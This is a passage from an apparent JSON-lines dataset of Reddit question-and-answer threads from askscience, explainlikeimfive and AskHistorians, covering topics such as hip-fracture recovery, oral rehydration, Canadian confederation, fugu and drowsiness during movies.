time.\n\nAnestesia as well as being bed-bound for a few or more days complicate things by increasing the risk for pneumonia.  It also comes with a high risk of blood clots as well as once an elderly person becomes immobile for awhile its much harder for them to regain function which can lead to rapid decline.", "Others have done a great job explaining various contributing factors, but there is one thing I haven't seen mentioned and that is access to follow-up care.\n\nWhether you live somewhere with universal healthcare or not, there is always a limit to what is covered.  So when grandma breaks her hip she'll get patched up, but what happens when she goes home from the hospital?  \n\nGrandma will need medical devices to help cope with the lack of mobility such as crutches or a walker, bathroom modifications like grab bars and shower chairs, and reaching aids.  Even with all of that, she is going to need help at home for a while to get it all set up, not to mention cooking, cleaning, and personal care.  Then there is rehab, that means follow up medical appointments, specialists like a physiotherapist or occupational therapist, and maybe she needs equipment for her exercises too. She will also have a list of prescription meds and probably some pain management tools like heat pads, topical creams, etc. It all adds up in a hurry.\n\nMany seniors just don't have the means to take care of themselves properly in that situation.  Either they can't afford to pay for all the stuff or they don't have people to come over and help them, or both.  As a result grandma is going to take longer to regain her mobility, if she ever does.  Without all the support listed above the risk of complications goes way up.  Grandma becomes more likely to fall and hurt herself, develop pressure sores, develop an infection, or become malnourished.\n\nRecovering from a broken hip is *hard*, it's hard for someone who is fit and otherwise healthy so it can easily snowball for seniors who don't have access to support for a proper recovery."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.ncbi.nlm.nih.gov/m/pubmed/8206455/"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.today.com/health/take-these-4-tests-find-out-how-well-youre-aging-t51431"], [], [], [], []]}
{"q_id": "bj426a", "title": "Why doesn't diarrhea kill us when it used to be so fatal?", "selftext": "When we get diarrhea, we generally don't take medicine for it  &  we don't die from it. Why was diarrhea so fatal back in the day?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/bj426a/why_doesnt_diarrhea_kill_us_when_it_used_to_be_so/", "answers": {"a_id": ["em75gns", "em7iasf", "em53qz0", "em54niw"], "score": [4, 3, 109, 23], "text": ["As recently as 13 years ago, 55,000 to 70,000 young children were hospitalized every year for gastroenteritis in the US. Since the implementation of a rotavirus vaccine, that number has dropped dramatically. They estimate that vaccine prevents 40-50,000 hospitalizations each year. \n\nOne vaccine. And it all but obliterated the last cause of severe diarrhea for young children in the developed world.\n\n_URL_0_", "Very myopic view, it is still the 9th biggest cause of death globally, 2nd biggest in the 3rd world, ~2 million p/a. \nThough aid agencies do what they can, it is increasing with pressure on dwindling clean water supplies, particularly when impacted by increasing adverse climate events and environmental disasters", "It wasn't diarrhea that was fatal. Dysentery and other illnesses whose symptoms include diarrhea were fatal. In modern days, most cases of diarrhea are symptoms of mild digestive irritation, poisoning, or psychosomatic disorders. The lethal cases you refer to from the past were symptoms of much more serious afflictions.\n\nTLDR: diarrhea is not an affliction, it's a symptom. In modern days, most of its causes are not lethal. In recorded history, its causes have been known to kill people.", "Two important factors \n\n1) we are better at treating cholera, a bacterial disease that kills through dehydration caused by severe diarrhea. It used to kill people in the millions. \n\n2) this is the important one, we discovered a very important mechanism in the gastrointestinal system. Water absorption is a passive process, it happens by osmosis following the absorption of sodium. But the cells won\u2019t move sodium in by itself, the transporter of sodium also requires to have glucose available. That means an effective rehydration solution need to contain both sugar and salt dissolved in water. This simple fact that eluded people for thousands of years was responsible to saving millions of lives in the past century and is one of the reasons why earth population started growing very rapidly recently. Now any baby who gets severe diarrhea is given pedialyte which the body absorbs like crazy and resolves the dehydration just saving their life. Giving them sugar water doesn\u2019t help, broth, salt, whatever doesn\u2019t help. It has to contain sugar and salt for it to work. \n\nIf you can send one letter to the past to change history to the better, sending this fact would prevent more suffering than preventing world war 2"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.cdc.gov/rotavirus/surveillance.html"], [], [], []]}
{"q_id": "5ryfge", "title": "movie release dates vs air dates", "selftext": "So how does it work when movies are released in say 2014 but aren't aired until 2017. For example Netflix Original: Imperial D(didn't spell the second word because post gets removed) aired today but was released in 2014 at Sundance.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5ryfge/eli5_movie_release_dates_vs_air_dates/", "answers": {"a_id": ["ddb6ek1", "ddb6f5d", "ddb7dx2"], "score": [2, 3, 6], "text": ["The only way to get a definitive answer would be to ask Netflix - they own the rights to the movie so they can decide if and when to air it. Any opinion on why it took them so long would be pure speculation.\n\nBut one point to understand - Movies screened at Sundance aren't commercial releases - they are more like preview screenings. (Some) movie makers will show a movie at Sundance in the hopes that a company (like Netflix) will buy the distribution rights from them.\n\nWhy it took 3 years though???? Your guess is as good as mine", "Some movies just take a long time to get a distribution deal.   (probably the case with this film - something that didn't seem widely appealing in 2014 may seem like a better deal now, and John Boyega is a much bigger draw now than then)  Sometime legal disputes have to be resolved before a film can be released.\n\nRecently, Relativity Media went through bankruptcy, holding up the release of several completed films that were in their inventory, like Masterminds.", "The release date is the date it first premiered. The film you mentioned premiered at the Sundance film festival in 2014. At that point, Netflix didn't own it (they don't make all of their Originals) - the creators were looking for a company to purchase the distribution rights. Films need a company to distribute it, by getting movie theaters to show it, selling DVD copies, or streaming it.\n\nAfter the actor John Boyega became well-known due to his role in Star Wars (in December 2015), Netflix decided they would purchase the rights to the film. These deals take some time, so the purchase presumably happened in 2016, which is why it didn't actually air on Netflix until 2017."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "47z22u", "title": "I'm a medieval peasant recruited into a war against a foreign nation by my lord. Once the war is over, how do I get back home?", "selftext": "How organized was the journey home? Would our lord guide us home? What if the group I initially served under had been absorbed into another group? How well equipped would the average soldier be to return home after serving in a foreign war?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/47z22u/im_a_medieval_peasant_recruited_into_a_war/", "answers": {"a_id": ["d0gjyku"], "score": [44], "text": ["As with so many questions regarding the Middle Ages, the answer depends on where and when. Remember, \"medieval\" covers nearly a thousand years of time and--even if we restrict ourselves to Western Europe--many different cultures.\n\nEven the nature of a \"peasant recruited for a war\" changes. For example, in Angle-Saxon England (say 10th to mid-11th century), a freeman (note *free*man--serfs and slaves were exempted from this) was required to turn up under arms when summoned to serve for a set period of time in the Fyrd (sort of like a militia). You provided your own weapons and armor, and how you got to the rendezvous point and back home after being dismissed was your own responsibility. But, with rare exception, the distance from home wouldn't be that great. Mostly, you'd be summoned to the Fyrd to defend your shire, and even if you are launching an invasion, it would be more of a journey of a distance from London to Cardiff, not London to Constantinople.\n\nNow, compare that to England in the mid-14th through the early 15th centuries. Here, the peasant soldiers are, again, predominantly freemen who provide their own arms and armor, but now they are paid volunteers who join up in exchange for a set wage paid by whoever is leading the expedition (for example, King Edward III leading a expedition into France in 1346, or Henry V in 1415). And their enemies at this time, the French, used a somewhat different system for raising their armies, which was different from the system used in the Italian city-states, which was different from the system used in the Byzantine empire...etc.\n\nTravel in the Middle Ages was was both more difficult than today and, in a way, more straightforward. Instead on navigating by points of a compass, its more by what towns and landmarks you should pass by to get from point A to point B, and what routes you take (e.g. roads, rivers, valleys). There weren't really much in the way of useful maps for this, so if you were trying to get somewhere from somewhere else and were not familiar with the route, you'd be doing a lot of asking for directions in addition to following whatever major travel route (like a main road or large river) you can."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6jl3zp", "title": "why is canada only considered as old as it's confederation (150 this year) when it was known as \"canada\" in the 1500's", "selftext": "It shows on maps from the 1700's, and was known by people as \"Canada\" (from Kanata) in the 1500's.  \n  \nShouldn't Canada be 300-500 years old, and the Confederation only be 150?  I find it odd how a country that borders Canada can be almost 100 years older than it.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6jl3zp/eli5_why_is_canada_only_considered_as_old_as_its/", "answers": {"a_id": ["djf0cdv", "djf3qi8", "djf3zs3", "djf4mfi", "djfxqan"], "score": [3, 3, 3, 10, 2], "text": ["Some countries use independence as the start date. America does too, even though the colonies were founded much earlier.", "Because people are talking about the geopolitical entiry known as \"Canada\" which was formed in 1867, not the area in general which has the name canada.\n\nImagine how you use \"America\" to refer to the united states of America as the ~300 year old nation even when the name \"America\" has been in use to describe the continent for 500 years or so.\n\n", "The confederation represents the beginnings of Canada as a nation-state. \n\nYou're right that the Canadian Nation has existed for a lot longer but to be a modern \"country\" today you need to crucial \"state\" part.\n\nIn the same way there was definitely an American nation before 1776 but it wasn't until they became a sovereign nation-state that we say the actual USA began.  ", "\"Canada\" as a geographical piece of land existed for millions of years (and hundred of thousands with people on it).\n\nCanada, the sovereign state/geopolitical entity/nation only existed since its confederation.\n\nLike if someone asked you how long you have lived in a house and you gave the number of years the house has existed, it wouldn't be the right answer (provided you weren't the first tenant).", "When you refer to the land being called \"Canada\" in the 16th Century, IIRC, that was actually a misunderstanding between Europeans and the First Nations. Supposedly the story goes that when British and French fur traders/soldiers arrived they asked the natives what the place was called, the natives replied back saying \"Kanata\" which (forgive me if I'm misinformed) meant \"village\" - likely just referring to their own local village, not the entire land mass now known as Canada. The British and French misunderstood and came to call the whole area \"Canada\", which at the time was just Southern Ontario, Southern Quebec, and bits of New Brunswick. Subsequently, as most others have pointed out, the colonies were then called Upper Canada, Lower Canada, New Brunswick, and Nova Scotia - all of which were separate colonies with horrendous trade tariffs imposed on each other. In 1867 it became the Dominion of Canada with the passing of the British North America Act (the constitution until 1982), in 1931 with the passing of the Statute of Westminster the Dominion of Canada was allowed to control it's own foreign affairs, but not until 1982 did the Dominion of Canada become just Canada when HM the Queen brought the BNA Act to Canada and then signed into law the Constitution Act, 1982.\n\nI guess it's kind of arbitrary what the exact day, month, and year of Canada's \"birthday\" is but 1 July 1867 is a nice clear and concise day where a major grant of independence was given to the colony by HM Queen Victoria. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "115gyw", "title": "Is there a reliable way of producing temporary deafness through medicine?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/115gyw/is_there_a_reliable_way_of_producing_temporary/", "answers": {"a_id": ["c6jhytc", "c6ji5ia"], "score": [4, 2], "text": ["Certain drugs have ototoxic side effects (primarily certain antibiotics) - however  this usually results in permanent hearing loss and/or deafness due to destruction of the hair cells within the cochlea.\n\nSeriously though, just buy some damn earplugs or move. ", "Ear plugs work well and they are a substance or an appliance. They would be considered medicine according to definition: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://dictionary.reference.com/browse/medicine"]]}
{"q_id": "327xa9", "title": "what is 'vocal fry' and why does it bother some people, but not others?", "selftext": "I heard a reference to vocal fry while listening to NPR. Someone had written in to complain about one of the hosts' voices because of her 'vocal fry'. It was implied that they had lots of these complaints. I could not figure out what was so bothersome. I read a little about it, but still don't understand if it's an innate trait of a voice or if can be controlled and most of all, why it seems to drive some people up the wall. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/327xa9/eli5_what_is_vocal_fry_and_why_does_it_bother/", "answers": {"a_id": ["cq8r8bb", "cq8rzfz", "cq8vjmw", "cq8vwgt", "cq9491t"], "score": [26, 13, 8, 3, 6], "text": ["Vocal fry is a low, creaky way of speaking that mostly women use for emphasis, or perhaps to sound more authoritative (since lower voices are perceived as more authoritative). \n\nIt sounds a little ridiculous if you isolate it, but here's a good example: _URL_0_\n\nIn my experience, vocal fry is mostly used to emphasize sarcasm or thoughtfulness, not sexiness (I don't pay attention to Hollywood so perhaps it's used differently there). Samantha Bee uses it quite a lot: _URL_1_ (right around 0:25-29, for example).\n\nAs to why it bothers people: Vocal fry has become much more common recently, and the rise of vocal fry is often credited to the Kardashians and other vapid celebrities. So it is new, and some people find it grating. For the record, vocal fry does not bother me at all (to /u/wommbat's point, I am a man under 30). In fact, in my mind vocal fry can actually make a woman sound more serious. \n\nIt seems like a generational thing. Basically, old people don't like this new weird vocal tic and young people don't find it weird at all.\n\n(EDITed to flesh out my answer to \"why it bothers people.\")\n", "I'm pretty sure that most people didn't notice it, or didn't notice it as a \"trend\" until there were a few stories about the study in news outlets like NPR.  Now it's almost like Baader-Meinhof syndrome - people hear young women with vocal fry and immediately think of the news story and get angry (vocal fry was not presented in a very positive light if I remember correctly).  \n\nHonestly, some of the more extreme examples were pretty annoying, but it mostly presents itself as a lowering or dropping out of the voice at the end of a sentence with a bit of a \"crackle.\"  I'm guessing you were listening to the episode of This American Life where Ira Glass read a bunch of complaints regarding the young female presenters on the show.  I like that he pointed out that he and other male presenters also have some vocal fry but nobody wrote in to complain about them.      ", "What really annoys me isn't so much the vocal fry, but the upwards inflection that so many guests on NPR seem to have. Making statements sound like questions make you seen very unsure about them and doesn't help your credibility.  Just... Stop?", "To use terminology from the relevant age group... It is fake as hell.", "The voice has 4 different registers. The one most people speak in is called the modal register, and the one below that is the vocal fry register (the higher ones are falsetto and whistle, with whistle being the highest). The vocal fry register is known for sounding really growly, and you'd be surprised at how often you hear it in music. It's used a lot in country music as well as in metal music, but it's just another part of the voice, and everyone has it. It can easily be done incorrectly when it comes to singing, and the tension it creates on your vocal chords can actually be damaging. So from a physical perspective, you shouldn't do it because it can damage your lower voice. No clue as to why it's not approved of as far as socially though."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=JfgBgpFJYto", "https://www.youtube.com/watch?v=H1Pmtkh-8vk"], [], [], [], []]}
{"q_id": "3u5fnj", "title": "Why did St. Thomas Aquinas find it necessary to prove the existence of God? Were not most people theists?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3u5fnj/why_did_st_thomas_aquinas_find_it_necessary_to/", "answers": {"a_id": ["cxckvwj", "cxdk5fy"], "score": [11, 2], "text": ["In *Atheism from the Reformation to the Enlightenment*, Clarendon Press, Oxford, 1992, David Wootton in a summary of Alan Charles Kor's theories, presents the answer thus (I bolded the relevant parts):\n\n > [Kors] shows first of all that theologians insisted that there could be no rational doubt as to God's existence: the Bible, after all, said 'the fool has said in his heart \"There is no God.\"' No sensible person could reach this conclusion using his reason. **Yet, because Aristotelian philosophy insisted that objections to every line of argument must be explored, theologians did not heistate to propound arguments against the standard demonstrations of God's existence**. The 'atheist' was thus primarily an invention of orthodox theology: a critical interlocutor, whose task it was to test orthodox reasoning and press for its improvement.\n\nFurther on (p. 25) Wootton explains the use of the term 'atheism'. The term itself only came into use in the sixteenth century. The word stems from ancient greek, but it was not used in the Middle Ages:\n\n > This is not because there was no unbelief in the Middle Ages. Around 1020, for example, two clergymen in Orl\u00e9ans apparently insisted that the universe had existed from eternity, that heaven and hell were fictions, and that the doctrine of the Trinity was incoherent. **This, in the eyes of contemporaries, was impiety, not atheism**.\n\nSo the basic answer is that the philosophical proof of the existence of God was used in a traditional aristotelian sense, purely as a theoretical excercise. But not because there wasn't any unbelievers at the time, though.\n\nEdit: I should perhaps mention that Wootton disagrees with Kors' (and originally Lucien Febvres) claim that atheism continued as an invention of orthodox Christians throughout the 16th and 17th centuries. It is not really relevant for the question at hand, but it needs to be pointed out, so as Wootton does not seem to be misrepresented by myself in this post.", "I'll add that it's also possible to see Aquinas' proofs of God's existence as playing a key role in his overall project to integrate Aristotelian thinking into Christian theology. If Aquinas is asking other theologians to reject traditional ideas in Christian theology, he needs to demonstrate that the ideas he's asking them to reject are not crucial. He does this by giving proofs of God's existence that don't rely on the old ideas, and instead rely on the new ideas.\n\nIt was also the case that Aquinas firmly believed that reason and faith went hand in hand. To him, it was important to demonstrate the connections between his Aristotelian worldview and his faith in God. Offering Aristotelian proofs for God's existence was a way of demonstrating the way that reason and faith support each other, and it in particular showed the way that Aristotelian reasoning supports his faith."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6z4zit", "title": "How much resources did the Empire of Japan manage to extract from south-east asia area? (The whole reason for the US-Japanese conflict)", "selftext": "While I might simplify the US-Jap conflict, it was to acquire more resources that were cutoff in the us blockade, that was one of the main reasons for the Japanese armed forces to declare war on and attack the south-east Asian region. \n\n\n* How much did the Empire of Japan manage to extract from these regions?\n\n* Where they able to meet their needs?\n\n* Was it possible for the area to meet the Japanese demand in a reasonable time-frame?\n\n* Where resources sabotaged? Subject to guerrilla attacks?\n\n Basically how worth was the actual conquered areas for the Japanese war effort? Both in what the japanese hoped to get, but also how much they could get realistically. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6z4zit/how_much_resources_did_the_empire_of_japan_manage/", "answers": {"a_id": ["dmsrurh"], "score": [3], "text": ["Under the East Asia Co-Prosperity Sphere, the nations that Japan occupied were only allowed to trade with Japan itself, thus Japan was able to reasonably effectively monopolise their output. For example, the vast majority of the world's supply of rubber was produced in the Dutch East Indies (Indonesia), and the Japanese theoretically controlled those resources completely. The more significant problem for the Japanese was its inability to effectively transport resources from their occupied territories to the Home Islands, since maritime shipping had been seized for military purposes. This was compounded by the fact that the Japanese industrial production was severely limited in comparison to the US'. At the onset of the Pacific War, the entirety of the Japanese naval fleet was mobilised, and these supply problems meant that the Japanese were never able to replace their naval losses after Coral Sea and Midway. Furthermore, Japan has always had a rice deficit, and so they relied upon forced imports from Indochina (Vietnam) to supply the Home Islands. This caused millions of people to starve in Indochina as the rice was forcibly requisitioned by the Japanese. Communist Ho Chi Minh lead the resistance against the Japanese and was active in guerrilla warfare, and seizing rice from the Japanese to redistribute. Similar sabotage and resistance movements operated across the East Asia Co-Prosperity Sphere, all to some degree of effectiveness, further limiting the Japanese Empire's ability to sustain itself.\n\nSo, to answer your dot points; the Japanese were able to extract a significant amount of resources, but not nearly all, they were never able to meet their military and naval needs, and there was widespread resistance, mainly in the form of guerrilla attacks by local nationalist groups. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3b86xi", "title": "why is it my phones processor is better than my laptops processor, yet my laptop is still faster (details inside)?", "selftext": "my laptop is running a dual core 2.3ghz cpu with 2 threads per core. essentially simulating a quad core. My phone galaxy note 3 has a true 4 core processor running at the same clock speed. shouldnt the true 4 core be faster?  I realise its smaller but I don't see how that would change much? I know alot about computers, so im figuring it comes down to something that they dont advertise (but should)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3b86xi/eli5_why_is_it_my_phones_processor_is_better_than/", "answers": {"a_id": ["csjqqcb", "csjrc6r"], "score": [8, 3], "text": ["GHz just tells you how many cycles it does a second. That does not equate to performance, since your laptop processor can do a lot more things per cycle, which is what makes it more powerful. \n\nThe ELI5 part: If Billy can take 10 turns in a row, but only move 1 step each turn, and Sally can take 8 turns, but can move 3 steps each time, who will move around the board fastest? Sally, because she can do more each turn. \n\nYour phone also wont be using all that power most of the time anyway, since that would generate too much heat and use too much battery, so it will be running at less than half that speed almost all the time. \n\nThe software it's running makes a difference, an OS meant to use low energy (because of the battery) and not take up a lot of room on your phone isn't going to be as capable as a full sized OS for which there isnt really a power consumption problem.\n\nEDIT: Memory buses are another thing, they're what move informationa round your phone to and from the various components, and they are (likely, I'm making a bit of a guess here) smaller in the phone, so it can't move information around as fast.", "Simplest I can put it: 4 scooter engines at 2000RPM don't output the same power as 4 truck engines at 2000RPM. \n\nBoth processors have a different architecture and are designed for different purposes. Yes, they run at the same frequency, but the phone chip is optimized for low power consumption - which comes at the price of performance. \n\nAnd even if this sounds even more counter intuitive: hyperthreading (2 threads per core) doesn't amount to the same performance as having 2 true cores - hyperthreading gives a performance boost of up to ~30%... but that also depends very much on the specific tasks. So basically, your laptop with the performance of ~2.6 \"real\" cores still beats the phone's quadcore easily. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "13qnvt", "title": "Looking for a detailed story of the Sino-French war.", "selftext": "I briefly read the wikipedia page, but am very curious and want to know more.  Sort of like a timeline of the war- what led up to it, details of the conflict itself and what the results were.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/13qnvt/looking_for_a_detailed_story_of_the_sinofrench_war/", "answers": {"a_id": ["c76gb1w"], "score": [2], "text": ["Do you read french ? I could ask university teachers I know who specialize in french military history, but the books will most certainly be in french unfortunately."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8qrq4w", "title": "What are the origins of the squirt gun (water gun)? Is Abraham Lincoln the first person to provide evidence of their existence?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8qrq4w/what_are_the_origins_of_the_squirt_gun_water_gun/", "answers": {"a_id": ["e0m7fj6"], "score": [5], "text": ["In terms of the technology, \"squirts\" have been around for hundreds of years. They were used in 1666, during The Great Fire of London, along with buckets. I'm not entirely sure if squirts included hand-held plunger-in-tube or if they were larger pumps.\n\n_URL_0_ \n\nAs for using a squirt as a kind of gun, I can't imagine somebody owning a squirt and not being tempted to drench somebody with it, but that's just my opinion.\n\nEDIT: For anyone interested in Googling the history of squirts, make sure that you turn on SafeSearch. For reasons. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.london-fire.gov.uk/museum/history-and-stories/the-great-fire-of-london/"]]}
{"q_id": "5yz1gs", "title": "Men and Makeup", "selftext": "Both men and women used to wear makeup regularly. Why did men stop and not women? I mean \"beauty enhancement\" makeup not visual fx, war paint and the like. I'm specifically thinking about nobility in the 18th and 19th centuries.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5yz1gs/men_and_makeup/", "answers": {"a_id": ["deu0m23"], "score": [10], "text": ["Not a historian, I just want to push back a bit on that question. Makeup in the past was more of a luxury compared to the commodity that it's become today. You need to frame what era you want to compare in order to ask what changed.\n\nFurther many dyes and pigments in the past didn't match human skin tone, so you saw more face art as a custom of dress, spiritual garb, war dress, etc. Rather than beautifying through the improvement of complexion.\n\nIn aggregate, working class people, especially men didn't have an incentive to dress themselves up with beauty makeup any more in the past than today. So if you thinking about the trends of past nobles compared to working class people today, that is an assymetric comparison.\n\nIf you elaborate your question, I think there would be more to respond to. But such a general assertion does not coincide with our history in the general."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2464i6", "title": "How did people first find out how to eat fugu? (xpost from /r/AskCulinary)", "selftext": "Seeing how it's pretty damn poisonous when prepared wrong, did people just keep on trying death after death until it just worked?\n\nWikipedia Link: _URL_0_\n\nIn the [original thread](_URL_1_) I was told to ask here as well :)", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2464i6/how_did_people_first_find_out_how_to_eat_fugu/", "answers": {"a_id": ["ch4877y"], "score": [100], "text": ["The first instance of a westerner being poisoned by Fugu I can find is a reference in Captain James Cook's log from his second Pacific voyage of 1772-1775. On the 7th of September, 1774, the crew of Cook's sloop HMS *Resolution* caught and ate the flesh of several \u2018spiny tropical fish\u2019. They fed the less desirable parts (the heads, organs, etc) to the herd of pigs that was kept on board. The crewmen who ate these fish fell ill, suffering from weakness, numbness and shortness of breath; but they all survived, suggesting a mild dose of toxin. The entire herd of pigs perished however, suggesting that they had eaten the livers and ovaries of the Fugu. It is the liver, eyes, and ovaries of the puffer fish which contain the highest concentration of tetrodotoxin, leading to a lethal dose. \n\n\nHowever, people in the Western Pacific have certainly been eating different species of pufferfish for thousands of years. There have been finds of pufferfish bones in the rubbish middens of settlements dating to the Middle Jomon period of Japanese history (2500-1500 BC). This would be long before written language was common in the area, as we have no written records of Japan at all until the much later Yayoi period, with the King of Na seal from approx. 57 AD. That being the case, by the time anyone would have the tools to write down how to safely prepare fugu, the practice would already have been ancient. It's similar to how we have no records of the first domestication of wolves, or wild horses. \n\n\nThat being said, and I admit up front this is informed speculation, I imagine the first people to prepare and eat fugu followed the same sorts of methods used to test if a wild grown plant is safe to eat.  It is common in both plants and animals for some parts to be poisonous while others are not, so you first separate the food item into it's constituent parts. In the case of a plant, you would separate the roots, the stems, the leaves, any fruit, seeds, etc. In the fugu, you separate the flesh from the different organs. You must then test each portion of the food item individually. You can begin by rubbing the item on your skin, to see if there is a contact reaction, as with poison ivy. After waiting a few hours, if there is no reaction, you proceed to the next step: touching the food to your lips, and tasting it with the tip of your tongue. You must do this for at least several minutes. If there is no negative reaction, you can place the item in your mouth without chewing. If after several minutes of holding it in your mouth there is still no reaction, you can then chew the item. If after chewing a small piece of the item for several more minutes you still notice no reaction, you can proceed to swallow it. Now, you should wait at least 8 hours to see if there are any further adverse effects, while consuming nothing else that might confound your results. If you were to do this with different pieces of fugu, you should be able to determine which are suitable for consumption and which are not. If you followed these steps with the fugu liver, you would likely never get to the swallowing stage, or even the chewing stage, as the high concentration of toxin would quickly numb your lips and tongue. It is by this slow process of trial and error that you can safely determine what is edible and what is poisonous. "]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/Fugu", "http://www.reddit.com/r/AskCulinary/comments/2451qs/how_did_people_first_find_out_how_to_eat_fugu/"], "answers_urls": [[]]}
{"q_id": "28u20a", "title": "why is it that when i'm watching a movie, i get so tired that i can barely keep my eyes open, but a soon as i pause it to go to sleep, i'm wide awake?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/28u20a/eli5_why_is_it_that_when_im_watching_a_movie_i/", "answers": {"a_id": ["cieiok3", "cieiwb9", "ciejvma", "ciejwz2", "ciem35r", "cien7jy", "cien7y3", "cienfek", "cienjlu", "cienljr", "cieodyc", "ciep0nl", "ciep2l3", "ciep5jp", "ciepozx", "cieqs0z", "cierwvm", "cieu5or", "ciezijz", "cif6lcr"], "score": [323, 20, 61, 3, 4, 5, 1489, 2, 2, 3, 2, 7, 2, 2, 2, 2, 2, 10, 2, 2], "text": ["Your eyes may be physically exhausted and it may seem like you can fall asleep while you're watching it, but in reality your brain is still alert because of the movie. Once you turn it off, you realize you're not mentally tired and ready to sleep, it only seemed like it. But it still feels good to close your eyes and rest them. ", "Watching TV can produce a lower metabolic state that actual unconsciousness (sleep.) By focusing in on a single input, everything else fades out as your brain stop keeping track of the light in the window, the dog running around, etc. At some point you're like, 5 neurons away from blinking out completely! Then, when you snap out after nodding off 5 times and stand up, suddenly you;re navigating the room, turning on lights, looking around, remembering things you were thinking about 2 hours ago. By the time you get to bed, you're probably still mentally tired, but compared to your state 10 minutes ago, you feel wide awake.", "For those with attention deficit disorder this occurs because the task is so overwhelming that we shut down.  If I have to sit and focus on something, even if it's something I'm interested in, I'll either get really sleepy or else find another distraction.  This means either getting up, fidgeting around, or day dreaming.  Now there are occasions where I am focused and focused to a fault where anything going on around me is ignored or halfway focused on to the point where a consequence is incurred.  \n\nAnyway back to the point.  It's just a response that kicks in to being overwhelmed and not wanting to deal with the matter at hand.  As soon as the mind knows that it's not needing to focus its attention on a matter the energy level returns to normal.  It sucks since there's no amount of coffee to 'fix' the issue. ", "I think it's to do with the images, or more precisely, the lack of them.  A movie stimulating just the visual part of the brain, and none of the rest, may be emulating a more sleep-like state.  Ending the movie ends that emulation.  ", "It's simply an instinct. Change of your environment when youre asleep alerts you. The same thing occurs even when you find a roommate or a sibling who have actually fallen asleep while watching TV. As soon as you turn it off chances are they will wake up and look around before going right back to sleep. \n\nTry giving up on the pause. I bet you'll just sleep with the movie on.", "I have the opposite. No matter what, I cannot fall asleep when a movie is playing. Even a terrible one :/", "How about a more scientific approach, based on a ton of actual data collected by the US military?\n\nI've had some long conversations with a high-ranking Navy M.D. about such things. Those guys have done a ton of research on sleep patterns, situational awareness, and cognitive ability, especially over extended time periods.\n\nThe ELI5 summary is that when you get tired, your body tends to go into a resting state to conserve mental energy. So if you're just sitting comfortably watching a movie, reading a book, or even driving a car, your brain goes into a state of lowered awareness and you disengage somewhat. If you stay there long enough you will go into sleep mode, which really sucks if you're driving at the time . . . \n\nIf you change the situation, then your brain says: \"Something's different, I should wake up and pay attention.\" So pausing the movie, nodding off and dropping the book, or even opening the car window or turning on the radio is a trigger for your brain to wake up a little bit and figure out what's going on.\n\nAt that point, your brain can assess the situation, realize there's no immediate threat (if you're not driving) and go back to sleep. Or your brain can say \"Hey, we're up, so whadda ya wanna do now?\"\n\nNote that if you're tired enough, your brain will try to get back to sleep mode once things settle down again. Eventually, sleep *always* wins out, and if you push it long enough, your brain will shut down to protect itself. Let's just hope you're not driving at the time . . .\n\nEdit: Since this thread has kinda blown up, it might be good to post the original source material.\n\n[Fatigue and Motorcycle Touring](_URL_0_), was compiled and written by Admiral Don Arthur, a former Surgeon General of the Navy who happens to be a highly decorated Long Distance motorcycle rider. He has safely completed many Long Distance challenges, such as Atlantic-to-Pacific in under 50 hours, Mexico-to-Canada in under 24 hours, has ridden in all lower 48 states plus Alaska, and completed 100,000 miles in a single year. This guy knows how to keep riding, have fun, and stay safe . . .", "This happens to me all the time. You are getting sleepy because you haven't moved and probably laying down in the couch. Once you sit up/stand you start to wake up.", "It might be because the screen is draining your natural melatonin. Even though I know this I'm still laying in bed on reddit at 2 in the morning...\n\n_URL_0_", "I do this with certain video games. My theory is that watching TV or playing a familiar or repetitive game occupies your conscious mind, but at the same time is a passive activity that lets your brain relax. As you relax you get sleepy. As soon as you rouse enough to move, or even just hit the pause button, you've jogged your brain out of that relaxation and you're awake.\n\nFor me, listening to music seems to get my conscious mind to stfu and just let me sleep, without having to turn off anything.", "I've never experienced that. Frankly, I don't think I've ever fallen asleep watching a movie at all. Maybe when I was a little kid, but now I just can't fall asleep doing that. Maybe it's because I wear glasses and usually fall asleep on my side, but still, I don't really even get tired from watching movies.  You can't really lay down on your side and have you head on a pillow or something while wearing glasses.", "this isn't the answer to your question, but the answer to your problem. don't turn the tv 